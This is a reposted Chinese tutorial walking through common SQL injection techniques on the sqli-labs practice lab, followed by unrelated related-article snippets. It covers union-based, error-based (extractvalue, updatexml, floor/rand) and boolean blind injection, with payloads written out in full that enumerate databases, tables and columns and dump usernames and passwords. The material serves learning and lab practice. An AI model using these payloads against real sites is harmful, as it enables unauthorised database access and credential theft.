常见的SQL注入

news2024/9/21 11:03:58

联合查询

如下,要求我们传入一个id值过去。传参?id=1,当我们输入id=1和id=2时,页面中name值和password的值会发生变化,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

输入?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

继续判断,输入 ?id=1' and 1=1 --+ 页面正常显示 

?id=1' and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

页面会根据输入的数据变化而变化,当存在注入点时,优先考虑使用联合注入手法。

输入?id=1' order by 3 --+,页面正常

将3修改为4,此时显示未知的列,说明此时当前表中只有3列

上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据

需让union select前面的参数查不出来而回显后面的语句,所以id=-1'

?id=-1' union select 1,2,3 --+

爆当前数据库名字

?id=-1' union select 1,2,database() --+

爆当前数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆表中的字段

#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

爆相应字段的所有数据

#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`id`,':',`username`,':',`password`) from users --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+

报错注入

提交如下,获取数据库名字,使用group by

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

extractvalue() 函数

?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+获取数据库名字

 updatexml() 函数

提交如下,获取数据库名字

?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

获取当前数据库中表的名字

?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+

这里是说要显示的内容超过一行它不能显示那么多,所以在 table_schema='security' 后加上 limit 0,1.

如果要看第二行则,limit1,1,看第三行则limit2,1。以这个方法获取第四个表为users

爆表中的字段

?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

总共爆出的字段为: id , username , password

爆字段中的内容

?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+

布尔盲注

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例

我们输入正确的id时,显示You are in .....

我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。

源码如下

判断当前数据库名

?id=1' and length(database())>7 --+

?id=1' and length(database())>7 --+

大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符

判断当前数据库的字符

http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr(database(),1,1))>115 --+

http://127.0.0.1/sql/Less-8/?id=1' and ascii(substr(database(),1,1))>114 --+

重复以上步骤由此可以判断出当前数据库为 security

一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984731.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

手机联网如何设置动态ip

在现代社会,手机已成为我们日常生活中不可或缺的一部分,无论是工作、学习还是娱乐,都离不开网络的支持。而在手机联网的过程中,IP地址的分配方式显得尤为重要。动态IP地址因其灵活性和安全性,成为了许多用户的首选。那…

电子合同怎么制作?9款常用电子合同软件

文章将介绍了以下9个工具:e签宝、文书宝、签通云、快签宝、法天使、Zycus iContract、airSlate WorkFlow、Lightico、KeepSolid Sign。 在数字化快速发展的今天,电子合同成为了业务操作中不可或缺的一部分,但许多人仍然面临如何有效创建和管理…

Redis vs Memcached:Redis的三大优势

Redis vs Memcached:Redis的三大优势 1. 数据类型2. 数据持久化能力3. 高性能与灵活性 💖The Begin💖点点关注,收藏不迷路💖 1. 数据类型 Redis:支持多样化的数据类型,包括字符串(S…

前端性能优化-回流与重绘

前言 本文总结回流与重绘相关的知识点 回流与重绘的基本概念 重绘(Repaint): 当元素样式发生改变,但不影响其几何属性的时候,浏览器只需要重新绘制这个元素,这个过程被称为重绘。 回流(Refl…

Linux_监测CPU和内存

通过TOP持续获取进程的CPU和内存消耗,并写入到表格 # 配置进程名 processvm-agent # 配置次数 number100 # 配置间隔时间 time5 # csv结果文件 filecm_$(date %s).csv echo "%CPU,%MEM">${file} pid$(ps -aux | grep ${process} | awk -F {OFS"…

debug\moc\mocinclude.tmp dose not exist

先把jom禁用,然后清理工程,重新编译,编译通过后再重新打开jom

MybatisPlus的主键策略

ASSIGN_ID(默认策略) 生成唯一的值,包含数字,表对应字段类型bigint或者varchar类型 ASSIGN_UUID() 生成唯一的值,包含数字和字母,表对应字段类型varchar类型 AUTO 主键自动增长效果,和表字段auto_increment INPUT …

养猫劝退?猫咪浮毛太多难清理?宠物空气净化器一招搞定

受不了了,真的很想把家里的猫孩子丢出去!平日实在是太能掉毛了,赶上换毛季更夸张,家里都要被猫毛淹没了。这些还能靠多加打扫卫生清理掉,可空气中的浮毛真是束手无策。对于我这种过敏性鼻炎患者,一旦空气中…

FSRCNN论文读后感

本文的主要目的是在尽可能保持恢复质量不变的情况下,提高模型的处理速度,以将其投入实际应用。(注意:本文只要是针对大尺寸图像,但实验结果证明,FRSNN模型对于小尺寸图像的处理速度也比SRCNN快,…

鸿蒙应用开发之GridRow和GridCol容器

在不同屏幕上布局是一个比较困难的问题,因为屏幕大小不一样,导致内容布局会比较混乱。所以提出一种网络的方式来布局,即使屏幕大小改变了,但是布局行列数不变,那么内容就不会混乱。使用组件GridRow来管理行,使用组件GridCol管理列。 先来看一下组件GridRow的定义: Grid…

VSCode在windows系统下使用conda虚拟环境配置

如何解决CondaError: Run ‘conda init‘ before ‘conda activate‘_condaerror: run conda init before conda activat-CSDN博客 首先检查自己的anaconda是否是添加到整个的环境变量里了 打开cmd如果conda和python都能够识别那么就是配置成功了 然后看插件是否安装&#xf…

在 cPanel 和 WHM 中配置域名重定向

在处理HTTP请求时,服务器会返回页面内容,这一过程依赖于域名和IP地址的正确配置。手动配置IP和域名非常复杂,但cPanel & WHM的网页界面让日常的网络服务器管理变得轻而易举。例如,Hostease提供的服务器解决方案,支…

3DCoat v2023 激活版下载与安装教程 (数字雕刻程序)

前言 3DCoat 是一款数字雕塑软件,由乌克兰开发。该软件专注于游戏模型的细节设计,集三维模型实时纹理绘制和细节雕刻功能为一身,可以加速细节设计流程,在更短的时间内创造出更多的内容。 一、下载地址 下载链接:分享…

想实现ubuntu搭建sqli-labs靶场

目录 首先前期的nginx和php部署完成​编辑​编辑 Xftp导入sqli-labs 遇到了的问题 它提示我们请检查db-creds.inc 去尝试解决这个问题 尝试修改MySQL root密码 修改db-creds.inc配置 再次尝试依旧失败 思考:会不会是MySQL版本过高的原因 重新下载MySQL5.7.…

优思学院|精益管理的指导思想给企业带来了什么启示?

很多企业和管理者以为,多即是好,尽量加快生产,提升库存,库存越多,安全性越高,尽量迫使员工多做工作,他们的工作越多,效率就越高,凡此种种都是在精益思想诞生前的人们对营…

B站宋红康JAVA基础视频教程个人笔记chapter04

文章目录 1.IDEA安装好后的一些设置和学习1.1关于IDEA内部jdk版本的设置1.2 一些样式以及快捷键的常用设置(强烈推荐) 2.工程与模块管理3.如何彻底的卸载IDEA 1.IDEA安装好后的一些设置和学习 1.1关于IDEA内部jdk版本的设置 1.File—>Project Struc…

Lumos学习王佩丰Excel第十讲:Sumif函数

一、Sumif函数语法 Sumif函数:用于对区域中符合指定的单个条件的值求和。 sumif(range,criteria,[sum_range]) sumif(条件区域,求和条件,求和区域) 二、Sumif函数计算数值区间 【注意】 1、当函数中两个区域相同时,可省略写后一个区域; …

Android开发 显示密码 输入时短暂显示字符

文章目录 Android开发 显示密码 输入时短暂显示字符1、设置和获取密码是否可见2、 设置系统权限3、实际修改的Settings的属性4、adb控制密码是否短暂可见 Android开发 显示密码 输入时短暂显示字符 Android UI 控件EditText为密码类型的字符串的控制显示。密码字符串默认可以短…

详解贪心算法

贪心算法(Greedy Algorithm) 概述: 贪心算法是一种在求解最优化问题时采取的一种常用算法策略。贪心算法的基本思想是,每次选择当前情况下的局部最优解,并相信这个局部最优解能够导致全局最优解。贪心算法通过迭代的方式一步步地…

Linux学习第57天:Linux PWM驱动实验

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 本章的思维导图如下: 一、PWM驱动简析 1、设备树下的PWM控制节点 8 路 PWM 都属于 I.MX6ULL 的 AIPS-1 域,分为了两部分, PWM1~P…